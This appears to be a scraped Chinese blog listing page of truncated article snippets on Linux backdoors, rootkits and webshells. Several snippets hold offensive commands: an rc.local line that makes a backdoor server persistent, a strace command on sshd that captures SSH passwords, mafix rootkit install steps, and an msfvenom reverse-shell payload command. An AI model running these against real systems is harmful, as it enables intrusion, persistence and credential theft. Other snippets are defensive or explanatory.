/*/*Gummo后门服务器/*编译:ccserver.c-oserver/*使用:./server&/*echo/tmp/server&>>/etc/rc.d/rc.local*/#include<stdio.h>#include<stdlib.h>#include<errno.h>#include<string.h>#
原创
2018-07-15 14:09:43
3571阅读
3评论
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.ph
原创
2012-05-14 07:10:13
724阅读
Rootkit的作用是：隐藏信息 rootkit一般和后门backdoor配合着使用，一前一后通常，攻击者通过远程攻击获得root访问权限（譬如密码猜测、破解、缓冲区溢出、0-day漏洞），然后安装后门，便于之后回访，安装rootkit，隐藏踪迹，收集信息，便于长期回访以及获得对其他系统的访问权限。短暂的root权限+backdoor+rootkit==>长期的root权限&nb
转载
2023-11-01 10:04:01
66阅读
在网络安全领域，后门一直是一个备受关注的话题。后门是一种暗藏在系统中的安全漏洞，能够给黑客提供非法访问和控制权限。近年来，关于Linux系统中后门的讨论逐渐增多，红帽作为一款广泛使用的Linux发行版，也不例外。
红帽公司是一家专注于开源软件和Linux领域的知名企业，其产品被广泛应用于企业服务器和云计算环境中。红帽的安全团队一直致力于发现和修复系统中的安全漏洞，以保证用户数据和系统的安全性。然
原创
2024-02-28 09:55:31
92阅读
前言Spring 框架自诞生以来一直备受开发者青睐，有人亲切的称之为：Spring 全家桶。毋庸置疑，Spring 早已成为 Java 后端开发的行业标准，无数的公司选择 Spring 作为基础的开发框架，大部分Java 后端程序员在日常工作中也会接触到 Spring。很多研发人员把 Spring 看作心目中最好的 Java 项目，没有之一。所以这是重点也是难点，工作中必须会，面试时肯定考。一、什
转载
2023-10-08 18:49:12
392阅读
在开源操作系统Linux中，有一种被称为后门的恶意软件，名为Hitime。Hitime是一种专门针对Linux系统的后门，可以在系统中偷偷植入恶意代码，用于监控用户的行为、窃取个人信息或者远程控制系统。这种后门的存在给用户的隐私安全带来了巨大威胁。
Hitime后门的传播方式多种多样，常见的传播途径包括通过恶意软件、病毒植入系统、通过网络下载等方式。一旦用户的系统感染了Hitime后门，黑客就可
原创
2024-04-24 10:53:09
52阅读
linux在线模拟器https://linuxzoo.net/(gmail注册可用,root权限)零散的安全脉搏https:/
原创
2022-08-04 22:44:37
99阅读
Metasploit是一款知名的渗透测试工具，它的功能强大，可以用来测试系统的安全性以及发现系统中的漏洞。在Linux系统中，Metasploit可以被用来创建后门，实现远程访问目标系统的控制和监控。
在网络安全领域中，后门是指为了绕过正常的安全检查而悄悄安装在系统中的一种恶意程序。Metasploit作为一种渗透测试工具，它可以在目标系统中安装后门，以便渗透测试人员在远程控制目标系统的时候能够
原创
2024-04-16 09:56:07
52阅读
在网络安全领域，我们经常会听到"linux telnet 后门"这个关键词。红帽（Red Hat）是世界领先的开源软件解决方案提供商，其所提供的Linux操作系统备受企业用户欢迎。然而，即使是备受信任的红帽Linux系统也不是绝对安全的，在过去的一些事件中，曾出现过与telnet后门相关的安全漏洞。
telnet是一种远程登录协议，通过telnet，用户可以在本地计算机上登录到远程主机，并在远程
原创
2024-04-29 12:31:43
104阅读
一、SSH后门介绍当获取到一个服务器的shell之后，肯定需要维持好我
原创
2022-11-14 21:41:03
1227阅读
攻击JavaWeb应用[8]-后门篇园长 · 2013/10/11 19:190x00 背景关于JavaWeb后门问题一直以来都比较少，而比较新奇的后门更少。在这里我分享几种比较有意思的JavaWeb后门给大家玩。0x01 jspx后门在如今的web应用当中如果想直接传个jsp已经变得比较难了，但是如果只限制了asp、php、jsp、aspx等这些常见的后缀应该怎样去突破呢？我
1kb正向连接零管道后门代码 说明: 不用我多说了吧..黑客一般都会使用的后门程序.. 这里只是简单的演示一下..没有添加进程隐藏功能 程序可以在Win9x,Win2k,WinXP,Win2k3上使用 程序体积只有1k(FSG压缩一下会更小) 测试: 本地
转载
精选
2012-07-05 14:57:59
375阅读
1kb正向连接零管道后门代码 说明: 不用我多说了吧..黑客一般都会使用的后门程序.. 这里只是简单的演示一下..没有添加进程隐藏功能 程序可以在Win9x,Win2k,WinXP,Win2k3上使用 程序体积只有1k(FSG压缩一下会更小) 测试: 本地
转载
2010-04-19 14:30:51
395阅读
1评论
2.3 留crontab隐藏后门好不容易拿下一个网站，以后还想继
原创
2022-11-14 21:40:42
1555阅读
介绍strace是一个动态跟踪工具，它可以跟踪系统调用的执行。我们可以把他当成一个键盘记录的后门，来扩大我们的信息收集范围使用场景通过其他方式拿到shell,通过history、流量抓包、或者本地没有翻到密码的情况。我们想要获取当前主机的密码，或者通过这台主机连接到其他主机的密码。记录sshd进程明文密码执行如下命令(strace -f -F -p `ps aux|grep "sshd -D"|g
原创
2021-02-27 14:19:51
2683阅读
rootkit从浅显的层面来讲即一种具有自我隐蔽性的后门程序，它往往被入侵者作为一种入侵工具。通过rootkit，入侵者可以偷偷控制被入侵的电脑，因此危害巨大。chkrootkit是一个Linux系统下的查找检测rootkit后门的工具。本文将介绍chkrootkit的安装与使用方法。chkrootkit没有包含在官方的CentOS或Debian源，因此我们将采取手动编译的方法来安装，这种方式也更
原创
2013-10-23 16:26:22
1505阅读
点赞
在网络安全领域中，Linux系统一直被认为是相对较安全的操作系统之一。然而，即便如此，也并非绝对安全，还是存在一些潜在的风险和威胁，比如后门攻击。后门攻击是指黑客通过在系统中设置后门，绕过正常的安全认证，实现对系统的远程控制和监控。其中，31337端口正是常用的后门打开端口之一。
31337端口是网络安全领域的一个经典端口号，其源自于leet语言中的"leet"一词，代表着elite或者电脑黑客
原创
2024-03-29 09:50:33
181阅读
在Linux系统中，rootkit被认为是一种非常具有挑战性的后门程序，它是一种被设计用来隐藏特定进程或文件在计算机系统中的存在的恶意软件。rootkit可以为黑客提供远程访问权限，使其能够执行各种破坏性的操作，如窃取敏感数据、监视用户活动和破坏系统稳定性等。
在Linux系统中，rootkit后门通常是通过操纵系统内核或系统调用来实现的。黑客可以利用漏洞或弱点来安装rootkit，使其能够以r
原创
2024-04-09 10:17:41
93阅读
下载地址：点击下载tar zxvf mafix_rootkit.tar.gz 解压。进入目录并用root权限运行。安装rootkit 命令：./root 密码 端口 (如: ./root xiaoma 99 那么下次连接的时候只需用putty连接它的99端口，用户名是root，密码为xiaoma)安装完成后会自动删除目录，为了隐蔽，用
转载
精选
2014-11-09 19:06:03
1202阅读
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip LPORT=port -f elf > shell.elf
原创
2022-08-18 13:33:09
678阅读
